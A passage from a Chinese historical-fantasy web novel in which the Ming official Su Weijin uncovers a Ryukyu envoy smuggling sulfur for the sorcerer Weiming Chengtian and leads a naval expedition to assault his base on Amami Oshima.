他举起酒杯:“东南富庶,远离京城**漩涡,正是休养生息、积蓄力量的好地方。将来无论是应对朝中变故,还是——”
他望向东方,那里是茫茫大海:“开拓海外,这里都是起点。”
众人举杯,一饮而尽。
宴席散后,苏惟瑾独自在书房写信。
一封给京城的妻妾们,报平安,说封爵的事,也委婉提了联姻的安排。他知道芸娘通情达理,文萱识大体,雪茹豪爽,香君通透,清晏明理——她们会理解的。
一封给费宏,询问京城动向。严党最近有什么动作?皇帝身体如何?朝中还有谁可用?
最后一封,他斟酌了很久。
是给琉球中山王的。
琉球是大明属国,每年来朝贡。中山王尚真,今年该六十多了,在位四十余年,是个老成持重的君主。但据陈瞎子供述,黑巫师首领嵬名承天就在琉球,还渗透了琉球王室。
这封信怎么写,很有讲究。不能直接说“你国里有逆贼,交出来”,那太打脸。得委婉,得给中山王留面子,但又得让他知道,大明已经掌握了情况。
苏惟瑾提笔,先用漂亮的楷书写了问候,然后笔锋一转:
“……近闻海上有奸人,假托前朝遗族,行蛊惑人心、炼制邪药之事,为祸沿海。其人名嵬名承天,或潜匿贵国境内。中山王素来忠义,必不容此等宵小藏污纳垢。若有所察,望通报天朝,共剿奸邪,以安海疆……”
写完后,他封好信,叫来胡三。
“三爷,这封信,走海路送到琉球。要快,要稳妥。”
胡三接过信:“公子放心,俺有路子。”
他走到门口,又回头:“对了公子,彭爷那边又来信了。”
“怎么说?”
“嵬名承天还在琉球,最近和日本萨摩藩的人来往密切。萨摩藩主岛津贵久,是个野心勃勃的主,一直想吞并琉球。彭爷说,他们可能在谋划大事。”
苏惟瑾眼神一凛。
萨摩藩,日本九州最强的藩国之一,向来对琉球虎视眈眈。历史上,就是在嘉靖年间,萨摩藩入侵琉球,将其变为附庸。
如果嵬名承天和萨摩藩勾结,那就不只是黑巫师的问题了——这是要引外敌入侵属国!
“告诉彭友信,”苏惟瑾沉声道,“继续盯着。有任何动静,立刻报我。”
胡三点头,匆匆离去。
书房里,烛火跳动。
苏惟瑾走到窗边,望着窗外的夜空。九月海风,带着凉意。
靖海伯……这个爵位,是荣耀,也是责任。
东南的海,暂时平静了。但东边的琉球,北边的朝鲜,更远的日本、南洋……这片大海,从来不会真正平静。
而他苏惟瑾,既然封了“靖海伯”,就得担起靖海安疆的担子。
“路还长啊。”他喃喃自语。
窗外,一轮明月升上中天,清辉洒满海面。远处船厂的灯火还亮着,隐隐传来工匠夜作的声响。
这东南的基业,才刚刚开始。
苏惟瑾封爵靖海伯,东南基业初成。
但琉球传来密报,黑巫师首领嵬名承天与日本萨摩藩勾结,野心昭然若揭。
而京城之中,严党对苏惟瑾的忌惮与日俱增,绝不会坐视他在东南坐大。
两线危机悄然逼近,苏惟瑾要如何应对?
是跨海远征琉球,先发制人?
还是回京稳住朝局,巩固权位?
抑或……另有更深的谋划?
东海的风云,再起波澜。
第380章 琉球遣使来,瑾察其中诡
九月廿三,晌午,月港码头。
秋日的海面平静得像块蓝绸子,只有远处几片白帆点缀。
码头上的苦力们正扛着麻包,喊着号子,汗水在古铜色的脊背上闪着光。
一切都和往常一样——直到瞭望台上的水手突然敲响了铜锣。
“铛铛铛——!”
“东边来船!挂琉球旗!”
码头上瞬间骚动起来。
苏惟瑾正在“格物学堂”里看学员试制新式纺车,听到锣声,放下手中的木齿轮,走到窗前。从学堂二楼望出去,东面海平线上果然出现了一支船队。
六艘船,清一色的琉球样式:船首高翘,绘着红日波涛纹,帆是深蓝色,中间绣着个大大的“尚”字。最大那艘是使节座船,船头还立着旗杆,悬挂的大明龙旗和琉球王旗并排招展。
“琉球使团?”苏惟瑾眉头微皱。
按惯例,琉球每两年朝贡一次,上次进贡是去年春天。这才过了一年半,怎么就来了?而且事前没有任何咨文通报——这不正常。
“大人,”周大山从楼下跑上来,“码头上传话,说是琉球国尚真王的亲弟弟尚清带队,说是‘闻天朝平定倭乱,特来朝贺,并重续贡道’。”
“重续贡道?”苏惟瑾冷笑,“东南倭乱最厉害的时候,琉球闭港锁国,连朝贡都停了。现在倭乱平了,倒来‘重续’了?”
他顿了顿,道:“传令,按规制接待。让市舶司安排驿馆,今晚我在府里设宴。”
“是!”
傍晚,靖海伯府。
府邸是原林家大宅改的,三进三出,虽不及京城府邸气派,但在月港也算头一份了。此刻前厅张灯结彩,摆了八桌宴席。月港的官员、士绅作陪,苏惟瑾坐在主位,周大山、苏惟虎、鹤岑分坐左右。
使团到了。
为首的尚清王子约莫四十岁,穿一身琉球官服——深紫圆领袍,头戴乌纱冠,腰束玉带。他身材微胖,圆脸,细眼,面上总是挂着谦和的笑,见人就拱手,一口官话说得字正腔圆:
“小王尚清,奉王兄之命,特来朝贺天朝平定倭乱,靖海安疆!这位是敝国礼曹参判金大人,这位是司译院判事朴大人……”
他挨个介绍,使团成员也都行礼如仪。看起来就是个标准的外交使团。
但苏惟瑾的超频大脑,已经开始运转。
他面上带笑,与尚清寒暄,眼神却像最精密的扫描仪,扫过使团每一个人。
尚清身后的官员,大多神色自然,符合使臣身份。但队伍末尾站着的几个人,却让苏惟瑾心头一凛。
那三人穿着普通随从服饰,低头垂手,看似恭敬。可他们的站姿——肩背微微绷直,脚跟稍分,重心前倾——这绝不是文官或仆役的站法,更像是……随时准备动手的武人。
更让苏惟瑾在意的是其中那个黑衣老者。
老者约莫六十岁,干瘦,脸上皱纹深得像刀刻,始终低着头,看不清面目。但苏惟瑾注意到,他垂在身侧的双手,指甲呈一种诡异的青黑色,像是常年接触某些矿物或药物所致。而且从他身上,飘来一丝极淡的草药味——不是寻常药材,而是混合了硫磺、硝石、还有几种苏惟瑾一时辨不出的古怪气味。
这味道,他在双屿岛的黑巫师实验室里闻到过。
“尚清王子远来辛苦,”苏惟瑾举杯,“本伯代天子,敬王子一杯。”
“不敢不敢!”尚清连忙举杯,“该是小王敬靖海伯!伯爷平定东南,威震海疆,敝国上下无不感佩!”
酒过三巡,场面热闹起来。
尚清很会说话,不断奉承大明威德,称赞苏惟瑾功绩,又说起琉球如何仰慕天朝文化,如何珍视与大明的情谊。说得情真意切,听得在座的月港官员、士绅频频点头。
“琉球国小民贫,全赖天朝庇护。”尚清叹道,“前些年倭乱猖獗,贡道断绝,王兄日夜忧心。如今伯爷扫清海疆,贡道复通,实乃敝国之福!王兄特命小王带来薄礼,以表心意。”
他一挥手,随从抬上来几只箱子。
打开,珠光宝气。
第一箱是南海珍珠,个个龙眼大小,圆润莹白;第二箱是**树,三尺来高,枝杈虬结,在灯光下红得像血;第三箱是硫磺矿石,块块金黄,质地纯净。
“此乃琉球特产,”尚清笑道,“珍珠、珊瑚聊表敬意,硫磺……听闻天朝军中需用,特献上些许,以供**之需。”
话说得滴水不漏。
苏惟瑾笑着道谢,心里却越发警惕。
硫磺是制造**的关键原料,大明管制极严。琉球使团主动献上硫磺,表面看是投其所好,可他们怎么知道明军缺硫磺?又怎么恰好“特献上些许”?
宴席持续到亥时方散。
送走使团后,苏惟瑾回到书房,周大山、苏惟虎、鹤岑跟了进来。
“大人,你觉得这琉球使团有问题?”苏惟虎问。
“问题大了。”苏惟瑾沉声道,“尚清说话太圆滑,一句实话没有。那几个随从,尤其是那个黑衣老者——绝非寻常人。”
鹤岑捻须道:“贫道也觉蹊跷。那老者身上有股阴郁之气,似修邪术之人。”
“胡三!”苏惟瑾朝门外喊。
胡三应声进来,手里还拎着只灰**鼬鼠——这小家伙正抱着颗花生啃得欢。
“三爷,今晚得劳烦你了。”苏惟瑾道,“带上你的‘小友’,去使团驻地转转。听听他们说什么,看看他们做什么。”
胡三咧嘴一笑:“公子放心,这事儿俺拿手!”
使团被安排在码头边的驿馆,独门独院,有士兵把守——明为保护,实为监视。
子夜时分,一只灰**鼬鼠悄无声息地溜进驿馆后院。这小东西是胡三从小驯养的,机灵得很,能听懂简单指令,最擅长钻洞偷听。
它顺着墙根溜到正房窗下,竖起耳朵。
屋里点着灯,隐约传来说话声。
先是尚清的声音,有些急促:“……嵬名大师放心,明人未起疑。那靖海伯虽精明,但咱们礼数周到,他挑不出毛病。”
另一个声音响起,嘶哑干涩,正是那黑衣老者:“不可大意。苏惟瑾此人,诡计多端。陈瞎子、费尔南多,都栽在他手里。咱们这趟,不容有失。”
“是是是。”尚清连声道,“硫磺已备足,都在船底货舱,用绸缎、药材盖着。明日查验贡品,咱们只打开上面几箱,他们看不出端倪。”
“嗯。”黑衣老者道,“等过了查验,立刻启程。硫磺运回基地,那边等着用。”
“小**白。只是……”尚清犹豫,“那靖海伯若执意要全船查验……”
“他不会。”黑衣老者冷笑,“琉球是大明属国,使团代表国王。他若无凭无据强行查验,便是破坏邦交,嘉靖皇帝也不会答应。”
“大师高见!”
鼬鼠听得差不多了,溜出院子,一溜烟跑回胡三那儿。
胡三听完鼬鼠“汇报”(他有一套和这小家伙沟通的法子),脸色一变,赶紧回府禀报。
书房里,油灯跳了一下。
苏惟瑾听完胡三的话,眼神冷了下来。
“硫磺……运回基地……”他喃喃道,“看来陈瞎子没说错,嵬名承天在琉球真有据点,而且急需制造**的原料。”
周大山瞪眼:“大人,咱们直接上船搜!搜出硫磺,看他们还有什么话说!”
“不能硬来。”苏惟瑾摇头,“尚清说得对,琉球是属国,使团代表国王。无凭无据强行查验,会落人口实。”
他沉思片刻,忽然笑了:“不过嘛……他们主动献上硫磺,咱们以‘核验贡品数量、质量’为由,上船看看总可以吧?”
“大人的意思是……”
“明日一早,你带人去‘核验贡品’。”苏惟瑾道,“重点查那几艘货船。若他们拦着,便是心里有鬼;若让查,你就仔细查——船底货舱,绸缎药材下面,好好翻翻。”
“明白!”周大山摩拳擦掌。
翌日清晨,码头。
琉球使团的六艘船泊在岸边,水手正在擦洗甲板。尚清带着几个官员站在码头,见周大山带兵过来,脸上堆起笑:
“周将军,这是……”
“奉靖海伯令,核验贡品。”周大山板着脸,“琉球献礼,天朝需登记造册,以免遗漏。尚清王子,请吧。”
尚清脸色微变,但很快恢复如常:“应该的,应该的。请——”
他引着周大山登上那艘最大的货船。
甲板上摆着十几口箱子,都是昨日献上的那些。尚清命人一一打开,珍珠、珊瑚、硫磺……与昨日无异。
“都在这里了。”尚清笑道,“周将军可要仔细清点?”
周大山没答话,走到船舷边,往下看了看。
这船吃水极深,显然载重不轻。可甲板上的箱子加起来,最多几千斤,不该让船沉成这样。
“下面货舱装的什么?”周大山问。
尚清笑容一僵:“这个……是些随船货物,绸缎、药材、琉球土产,准备在月港采买些东西带回去。”
“哦?”周大山盯着他,“打开看看。”
“这……”尚清为难道,“货物杂乱,恐污了将军的眼……”
“打开。”周大山声音沉了
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下来。
气氛陡然紧张。
几个琉球水手围过来,手按在腰刀上。周大山身后的明军士兵也上前一步,刀剑出鞘半寸。
就在这时,那黑衣老者不知从哪冒了出来。
他依旧低着头,声音嘶哑:“王子,既然将军要看,便让他看吧。天朝将军,还能贪图咱们这点货物不成?”
这话说得阴阳怪气,暗指周大山故意刁难。
尚清犹豫片刻,终于咬牙:“开舱!”
货舱盖板掀开,一股混合着药材、绸缎、还有硫磺的气味冲出来。舱里堆得满满当当,上面是捆好的绸缎、成箱的药材,看起来确实像普通货物。
周大山跳下货舱,随手掀开一匹绸缎。
下面露出黄色的矿石。
他再掀开一箱药材,下面还是硫磺。
一连掀了七八处,全是硫磺!粗略估算,不下万斤!
周大山爬出货舱,拍了拍手上的灰,盯着尚清:“尚清王子,解释解释?”
尚清脸色惨白,嘴唇哆嗦:“这……这是……”
“炼制丹药需用万斤硫磺?”周大山冷笑,“王子莫非当我是三岁孩童?”
他一挥手:“来人!扣船!使团所有人,带回驿馆,严加看管!”
“你敢!”黑衣老者猛然抬头,那双眼睛竟泛着诡异的红光,“琉球使团,代表国王!尔等无凭无据,扣押属国使节,是想破坏邦交吗?”
“凭据?”周大山指着货舱,“这万斤硫磺,就是凭据!琉球不产硫磺,你们从哪弄来?又要运去哪里?说不清楚,今天谁也别想走!”
士兵们一拥而上。
黑衣老者还想反抗,袖中滑出几枚黑色药丸。但他还没来得及扔,周大山已经一拳砸在他手腕上,药丸落地,滚进海里。
“绑了!”
靖海伯府,地牢。
说是地牢,其实是原先林家的地窖改的,阴暗潮湿,但还算干净。
尚清被单独关在一间,黑衣老者在另一间。其余使团成员分别关押,分开审讯。
苏惟瑾没急着审,先晾了他们半天。
直到午后,他才走进尚清的囚室。
尚清坐在草铺上,官服皱巴巴,冠也歪了,早没了昨日的风光。见苏惟瑾进来,他挣扎着想站起,却被铁链锁着,只能坐着。
“靖海伯……”他声音发颤,“小王……小王冤枉啊……”
“冤枉?”苏惟瑾在他对面坐下,“万斤硫磺藏在船底,人赃并获,王子有何冤枉?”
“那……那是……”尚清支吾半天,终于崩溃,“小王说实话!说实话!”
他扑通跪倒,涕泪横流:“是嵬名承天!那妖人控制了王兄,逼我运硫磺去琉球!小王不敢不从啊!”
“控制?”苏惟瑾挑眉,“怎么控制?”
“蛊毒……”尚清哆嗦着,“嵬名承天精于巫蛊之术,他给王兄下了蛊,每月需服解药,否则……否则生不如死!王兄被逼无奈,只能听他摆布。这次运硫磺,也是他的命令!”
“运去哪里?”
“琉球北部,奄美大岛……”尚清道,“嵬名承天在那里建了基地,炼制‘神药’,制造**。他……他还联络了日本萨摩藩,密谋大事!”
“什么大事?”
“小王不知……真的不知!”尚清磕头如捣蒜,“只隐约听说,他们想……想以琉球为跳板,图谋不轨!伯爷,小王句句属实,求伯爷饶命啊!”
苏惟瑾看着他,超频大脑分析着他每一个微表情、每一次呼吸频率、每一下肌肉颤动——没有撒谎的迹象。
他起身,走出囚室。
外面阳光刺眼。
周大山迎上来:“大人,问出来了?”
“嗯。”苏惟瑾点头,“嵬名承天在奄美大岛。控制琉球国王,勾结萨摩藩,图谋不小。”
“那咱们……”
苏惟瑾望向东面大海。
那里是琉球的方向。
“准备船队。”他缓缓道,“这次,咱们得跨海走一趟了。”
“终于找到你了。”他眼中寒光闪烁,如出鞘利刃。
琉球阴谋被揭,嵬名承天基地位置暴露。
但奄美大岛远在海外,跨海远征风险重重。
更棘手的是,琉球国王被蛊毒控制,萨摩藩虎视眈眈——苏惟瑾要面对的,不只是黑巫师,还有复杂的国际局势。
而就在此时,京城传来八百里加急:严嵩鼓动御史联名**,称苏惟瑾“擅扣属国使节,意图挑起边衅”。
内忧外患同时压来,苏惟瑾是立即回京自辩,还是冒险远征,直捣黄龙?
东海的风暴,从未停歇。
第381章 跨海征琉球,瑾誓除毒瘤
当万斤硫磺的证据摆在面前,苏惟瑾知道这场跨海之战已不可避免——东南海疆的毒瘤必须连根拔起,哪怕要远赴千里之外的琉球。
嘉靖十三年九月底,月港码头上军旗猎猎。
五十艘战船在港湾里一字排开,桅杆如林,白帆蔽日。
最大的那艘是旗舰“靖海号”,船首新漆的“靖海伯苏”四个朱红大字在秋阳下分外醒目。
甲板上,火炮擦得锃亮,炮口统一朝向右舷;
水手们正忙着搬运最后一批粮草**,号子声此起彼伏。
码头边的望海楼上,苏惟瑾正伏案疾书。
这是给嘉靖皇帝的奏章。他下笔很快,字迹却依旧端正有力:
“……臣查琉球使团,船底暗藏硫磺万斤,人赃俱获。据尚清供述,琉球国王尚真已被邪教首领嵬名承天以蛊毒控制,奄美大岛已成制毒造炮之魔窟。此獠勾结日本萨摩藩,图谋不轨,若不早除,必成大患。臣请发兵跨海,助琉球清君侧、靖海疆……”
写到这里,他顿了顿,加上最关键的一句:
“此战若成,琉球将永感天恩,海疆可靖;若不成,臣愿独担其责,与陛下无干。”
这是把所有的风险都揽到自己身上了。
奏章用八百里加急送往京城。七日后,圣旨回来了——比所有人预想的都快。
传旨太监当众宣读时,码头上一片肃静:
“……准靖海伯所奏。调福建、浙江水师归其节制,助琉球讨逆靖乱。一应军需,沿海各省全力供给。钦此。”
“臣领旨!”苏惟瑾叩首,接过圣旨。
周大山在身后咧嘴笑:“陛下对大人真是没话说!”
苏惟瑾起身,望向海面。他知道,嘉靖这么快准奏,一方面是因为“清心丹”调理后神智清醒,对自己信任有加;另一方面……恐怕也是被严党那些**奏章逼的。
与其让他在东南坐大,不如让他去海外拼命——京城那些老狐狸,大概都是这么想的。
也好。苏惟瑾眼中闪过锐光。这正合他意。
接下来十天,月港成了大兵营。
调令一道道发出:福建水师二十艘战船从福州、泉州赶来;浙江水师十艘从宁波南下;加上苏惟瑾直属的三十艘,总计六十艘战船,大小火炮两百余门,水陆官兵五千人。
这是大明开国以来,第一次为属国内乱出动如此规模的远征舰队。
九月廿八,靖海伯府议事厅将星云集。
苏惟瑾坐在主位,左右是周大山、苏惟虎、苏惟山、鹤岑、胡三。下首坐着福建总兵俞大猷、浙江参将卢镗——这两位都是抗倭老将,被临时调来听用。
“诸位,”苏惟瑾摊开海图,“琉球本岛在福州正东,约一千二百里。我们要打的奄美大岛,在琉球本岛以北三百里,是个火山岛,地势险要。”
他手指点着图上那个蚕豆状的岛屿:“据尚清和咱们的侦察,此岛三面悬崖,高十余丈,猿猴难攀。只有南面有个海湾,宽不足百丈,是唯一可登陆处。但这里——”他加重语气,“建有两座炮台,各有弗朗机炮四门,控制海面。”
俞大猷皱眉:“强攻的话,船队进港时就会挨炮轰。”
“所以不能强攻。”苏惟瑾道,“我意三路并进。”
他详细解说:第一路,由苏惟山率水师主力二十艘,从正面佯攻海湾,吸引炮台火力;第二路,周大山率虎贲营敢死队五百人,从北侧悬崖攀援而上——那里虽陡,但有几处裂缝可借力;第三路,苏惟瑾亲率主力,乘夜色从西侧一处隐蔽海滩登陆,那里水浅礁多,大船靠不了,但可乘小艇悄悄上去。
“登陆后,”苏惟瑾环视众人,“直捣岛心。据陈瞎子供述,嵬名承天的实验室、仓库、兵营都在那里。”
周大山一拍大腿:“好计!俺就喜欢爬悬崖!”
苏惟虎却问:“大人,咱们的船队这么大,浩浩荡荡开过去,岛上的贼人不会察觉?”
“所以需要这个。”苏惟瑾从案下拿出个小笼子。
笼里是几只灰鸽,腿上绑着竹管。
“胡三训练的,能飞八百里。”苏惟瑾道,“舰队出海后,先向东佯动,做出要去琉球本岛的架势。同时放鸽传信给尚清——他如今被咱们控制,只能配合。让他派人上岛报信,就说‘明军欲攻琉球本岛,奄美大岛暂无危险’,稳住嵬名承天。”
卢镗抚掌:“妙!疑兵之计!”
鹤岑捻须道:“贫道可随军祈福,振我军心。另,那陈瞎子……伯爷真要带上?”
提到陈瞎子,厅内气氛冷了些。
那个独眼老贼,如今被关在地牢最深处,每日靠少量“清心散”吊着命——不给足量,让他毒瘾发作时生不如死;给一点,又能暂时缓解。这般折磨下来,早已没了当初的硬气,让说什么就说什么。
“带上。”苏惟瑾淡淡道,“他熟悉黑巫师内部情况,知道实验室位置、机关布置。关键时刻,或许有用。”
十月初三,万事俱备。
临行前夜俱备。
临行前夜,苏惟瑾把苏惟奇叫到书房。
这个当年的书童,如今已是月港防务的负责人,穿着六品武官服,身板笔直,只是眉眼间还留着几分昔日的机灵。
“惟奇,”苏惟瑾看着他,“我走之后,月港就交给你了。”
苏惟奇单膝跪地:“公子放心!惟奇这条命是公子给的,定守好月港,等公子凯旋!”
“有三件事要你办。”苏惟瑾扶他起来,“第一,盯紧那些士绅。林家、王家虽已失势,但百足之虫死而不僵。若有异动,先斩后奏。”
“是!”
“第二,配合彭友信。”苏惟瑾递过一枚铜符,“他是江湖人,路子野,情报网络你要用好。特别是……京城那边的消息。”
苏惟奇接过铜符,重重点头。
“第三,”苏惟瑾顿了顿,“若……若我三个月未归,或传回败讯,你立刻带人护送芸娘她们南下,去广西找王阳明。那里是咱们经营过的地方,相对安全。”
苏惟奇眼眶一红:“公子……”
“只是万一。”苏惟瑾拍拍他肩膀,“去做事吧。”
苏惟奇抹了把眼睛,大步离去。
苏惟瑾又写了封信,给新任福建巡抚费宏——这位老臣已被他运作到福建,成了自己在东南的政坛盟友。信中交代了政务要点,特别强调“海防不可松,商路不可断”。
做完这一切,已是子时。
他走到窗前,望着海面上星星点点的船灯,深吸一口气。
该出发了。
十月初五,辰时。
月港码头人山人海。百姓们扶老携幼,来送远征的子弟兵。有母亲给儿子整理衣甲,有妻子给丈夫塞干粮,有孩童拉着父亲的手不肯放。
苏惟瑾登上旗舰“靖海号”。他今天穿一身特制的软甲,外罩靖海伯麒麟补服,腰佩尚方剑,头戴金冠。虽只有二十五岁,比周大山、苏惟虎都年轻,但往船头一站,自有股不怒自威的气势。
“起锚——!”
“升帆——!”
号角长鸣,战鼓擂响。
六十艘战船依次驶出港湾,帆樯如云,旌旗蔽日。岸上百姓齐声高呼:“凯旋!凯旋!凯旋!”
声音如潮,久久不息。
船队出港后,按计划先向东行。
头三天,风平浪静。水手们抓紧时间操练,炮手反复演练装填射击,虎贲营在甲板上练刀枪阵型。苏惟瑾也没闲着,每日召集将领研究海图,推演战术。
到第四天,风向转为东南。
“好风!”苏惟山在舵舱大笑,“顺风的话,再有三天就能看见琉球了!”
苏惟瑾却下令:“转向东北。”
“东北?”苏惟山一愣,“那不是去琉球本岛的方向啊……”
“就是要让他们以为咱们去琉球本岛。”苏惟瑾道,“放鸽。”
胡三打开笼子,三只灰鸽振翅飞起,朝东南方向而去——那是尚清被软禁的驿馆方向。鸽子腿上绑着的密信,会由尚清的人“偷偷”送出,送往奄美大岛。
疑兵之计,正式开始。
又航行了四天。
十月十二,清晨。瞭望台上的水手突然大喊:“看见岛了!”
所有人都涌到船舷边。
前方海平面上,隐约出现一串岛屿的轮廓。最大那个呈椭圆形,岛**有座圆锥形的山,山顶还冒着缕缕白烟——是活火山。
“那就是奄美大岛。”一个声音从船舱传来。
众人回头,见是陈瞎子被押上甲板。他如今瘦得脱了形,独眼浑浊,但看到那岛时,眼里还是闪过一丝复杂的光。
“岛南的海湾叫‘名濑’,是唯一港口。”陈瞎子哑声道,“炮台在东西两个岬角上,各有四门炮,射程覆盖整个海湾。岛心有片谷地,大师……嵬名承天的基地就在那里。实验室、仓库、兵营,还有……炼制‘神药’的工坊。”
苏
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惟瑾问:“有多少守军?”
“原本一千左右,多是倭寇和琉球兵。”陈瞎子顿了顿,“不过尚清被抓前,嵬名承天已派人联络萨摩藩。现在……恐怕不止了。”
正说着,前方侦查的快船回来了。
船长是个老水手,姓吴,黝黑的脸上带着忧色:“伯爷,情况不妙。小的靠近看了,海湾里停着十几艘船,看样式……有日本船!而且岛上营寨多了不少,炊烟密密麻麻,守军至少翻了一倍!”
周大山骂了句娘:“**萨摩藩,手脚真快!”
苏惟瑾神色不变,超频大脑飞速运转。
守军翻倍,意味着强攻的代价更大。但箭在弦上,不得不发。
“按原计划。”他沉声道,“苏惟山,你率二十艘船佯攻海湾,记住,只在炮台射程边缘游弋,别真进去挨炮。大山,你的敢死队准备,今夜子时攀崖。我率主力绕到西侧,凌晨登陆。”
他顿了顿,看向众人:“此战凶险,但我等别无选择。嵬名承天不除,东南永无宁日。那些‘神药’若流传开来,祸害的将不只是沿海,而是整个大明!”
众人肃然。
“传令各船,”苏惟瑾声音如铁,“备战!”
夜幕降临。
五十艘战船熄灭大部分灯火,在夜色中静静航行。海浪轻轻拍打船舷,月光洒在海上,碎成万千银鳞。
子时将至。
周大山已换好黑衣,腰缠绳索,背插短刀。他身后五百敢死队员,个个精悍,眼神里都是决绝。
“大山,”苏惟瑾走到他面前,“北崖陡峭,务必小心。上去后先占制高点,放信号烟。若遇强敌……保命要紧。”
周大山咧嘴笑:“大人放心,俺这条命硬着呢!”
他转身,一挥手:“走!”
二十艘小艇从大船放下,载着敢死队悄无声息地划向北岸。
与此同时,苏惟瑾的主力船队开始绕向西侧。
那里果然如侦察所言,水浅礁多。大船在里许外就停了,放下数十艘小艇。苏惟瑾、苏惟虎、鹤岑、胡三都上了小艇,还有一千五百名精锐。
海浪稍大,小艇颠簸。所有人都屏息凝神,只听见划桨的轻响。
前方,奄美大岛的黑影越来越近。
西侧海滩到了。这里没有港口,只有一片狭窄的沙滩,后面是茂密的树林。月光下,能看见沙滩上有几个简陋的哨棚,但里面似乎没人——守军都被吸引到南面去了。
“登陆。”苏惟瑾低声道。
小艇冲上沙滩,士兵们鱼贯而下。
就在最后一批人上岸时,异变突生!
“轰——!”
南面海湾方向,突然传来炮声!
紧接着,火光冲天,喊杀声震耳欲聋——苏惟山的佯攻开始了!
几乎同时,北面悬崖上也亮起了火光,隐约传来兵刃碰撞声、惨叫声——周大山那边也交上手了!
“快!”苏惟瑾拔剑,“直扑岛心!”
一千五百人如离弦之箭,冲进树林。
黑暗的丛林里,危机四伏。但苏惟瑾早已从陈瞎子口中问清了路线,带队疾行。偶尔遇到零星守军,虎贲营精锐迅速解决,不留活口。
半个时辰后,穿过树林,眼前豁然开朗。
那是一片被环形山围起来的谷地,方圆数里。谷中灯火通明,能看见成排的房屋、高耸的烟囱、还有……一座造型古怪的黑色石殿。
石殿门口,立着两根石柱,柱上刻着扭曲的西夏文字。
殿前空地上,**着数百人。有的穿着黑袍,有的穿着日本武士服,更多的则是手持刀枪的士兵。
而在人群中央,一个黑袍人缓缓转过身来。
月光照在他脸上——那是一张苍白如纸的面孔,双眼深陷,嘴唇乌黑,整个人像从坟墓里爬出来的。
他的声音嘶哑干涩,却清晰地传遍山谷:
“苏惟瑾……本座等你多时了。”
嵬名承天!
三路大军齐发,登陆战打响。
但嵬名承天似乎早有准备,竟在岛心严阵以待——是尚清那边走漏了消息,还是另有内奸?
周大山攀崖队伍生死未卜,苏惟山佯攻船队正承受炮火,苏惟瑾这一千五百人陷入重围。
更可怕的是,嵬名承天身后那黑色石殿中,隐隐传来令人毛骨悚然的嘶吼声,似有非人之物。
绝境之中,苏惟瑾如何破局?
跨海远征的第一战,就陷入了敌人设下的死亡陷阱!
第382章 夜袭奄美岛,火攻破邪寨
黑云压城,三路大军已如离弦之箭。当嵬名承天那双深陷的眼睛在火光中亮起时,苏惟瑾知道——今夜,不是这魔窟覆灭,就是大明水师折戟海外。
---
十月十二,子夜,奄美大岛。
苏惟瑾率一千五百名精锐刚冲出树林,就发现自己中了埋伏。
谷地四周的山坡上,突然亮起数十支火把。
火光中影影绰绰,至少上千人,将谷口围得水泄不通。
那些人有穿黑袍的巫师,有披竹甲的琉球兵,还有一伙服饰鲜明的——正是日本萨摩藩的武士!
嵬名承天站在石殿前的高台上,黑袍在夜风中鼓荡。
那张苍白如纸的脸上,露出诡异的笑容:“苏惟瑾,本座早知你会来。尚清那个废物,他递出的每一封信,都在本座掌控之中。”
苏惟瑾心中一凛。
果然,疑兵之计被识破了。尚清身边还有嵬名承天的人!
“你以为三路并进,就能打本座一个措手不及?”嵬名承天声音嘶哑,却带着猫捉老鼠般的戏谑,“南湾炮台,本座早已增兵,你那二十艘船,此刻怕已沉了一半。北侧悬崖?呵呵,那里埋了竹刺阵、滚石檑,你那敢死队……此刻大概正在惨叫吧。”
周大山眼睛红了,提刀就要冲:“老子宰了你!”
苏惟瑾按住他。
超频大脑全速运转,扫视四周地形、敌我兵力、火把分布……瞬间分析出数十种可能。
“他在拖时间。”苏惟瑾低声道,“南湾、北崖的战斗还没结束,他在等那边的援军过来合围。”
“那咱们……”
“擒贼先擒王。”苏惟瑾眼中寒光一闪,“冲过去,直取嵬名承天!”
他一挥尚方剑:“虎贲营!结锋矢阵!冲!”
一千五百人瞬间变阵。最前方是三百重甲刀盾手,盾牌相连,如移动城墙;中间是**兵,枪尖如林;两翼是火铳手和弓箭手;苏惟瑾率亲兵居中指挥。
阵型甫成,便如离弦之箭,直扑石殿!
“拦住他们!”嵬名承天冷喝。
山坡上的伏兵蜂拥而下。
第一波是萨摩藩武士。这些人身材矮壮,披挂具足,手持太刀,嚎叫着冲锋。他们惯于单打独斗,面对虎贲营的严密军阵,吃了大亏——太刀砍在包铁盾牌上,只溅起火星;盾牌后刺出的**,却快准狠。
“刺!”
“收!”
“再刺!”
军官口令简洁有力。**如毒蛇吐信,一进一退间,就有武士惨叫着倒下。
但武士人数太多,前仆后继。虎贲营的推进速度慢了下来。
这时,黑袍巫师们动手了。
他们不近战,而是站在远处,从怀中掏出一个个陶罐,奋力掷向军阵。陶罐落地碎裂,里面爬出密密麻麻的黑虫——蜈蚣、蝎子、还有叫不出名的怪虫,见人就咬。
“啊——!”
几个士兵被咬中,瞬间脸色发黑,倒地抽搐。
“石灰粉!”苏惟瑾大喝。
士兵们从腰间取出小袋,抓出石灰粉撒向前方。石灰遇虫,嗤嗤作响,虫群顿时乱窜。更有士兵点燃火把,火焰扫过,虫尸焦臭。
但就这么一耽搁,军阵已有些散乱。
嵬名承天在高台上狂笑:“苏惟瑾!本座的‘万虫蛊’滋味如何?这还只是开胃菜!”
他拍了拍手。
石殿大门轰然打开。
从里面冲出数十个赤膊大汉。这些人双眼赤红,肌肉贲张,皮肤上涂满诡异纹路,口中发出野兽般的嚎叫——正是服用了“勇武膏”的死士!
他们不惧刀枪,直接撞进军阵。
一个死士被三杆**刺穿胸膛,竟还能往前冲,硬生生将**士兵撞飞。另一个死士抓住盾牌,怒吼一声,竟将包铁木盾生生撕裂!
虎贲营的阵型,第一次被冲乱了。
“放烟!”苏惟瑾当机立断。
后方士兵点燃早已备好的草束。这些草束里混了辣椒粉、硫磺、还有鹤岑特制的“驱邪药粉”,点燃后浓烟滚滚,刺鼻呛人。
浓烟顺风扑向死士。这些人虽不惧疼痛,但眼睛、鼻子仍是弱点,被烟一熏,顿时动作迟缓,咳嗽连连。
“火铳!抵近射击!”
火铳手趁机上前,几乎贴着死士的脸开火。
“砰砰砰——!”
**在近距离威力惊人,死士们被打得血肉模糊。就算一时不死,动作也慢了下来。
“枪阵!绞杀!”
**兵重新结阵,五六杆枪同时刺向一个目标,将死士钉在地上。
战斗惨烈。
虎贲营虽训练有素,但死士太过凶悍,每杀一个,都要付出数人伤亡的代价。苏惟瑾身边的亲兵,已倒下了十几个。
而嵬名承天,还在高台上冷眼旁观。
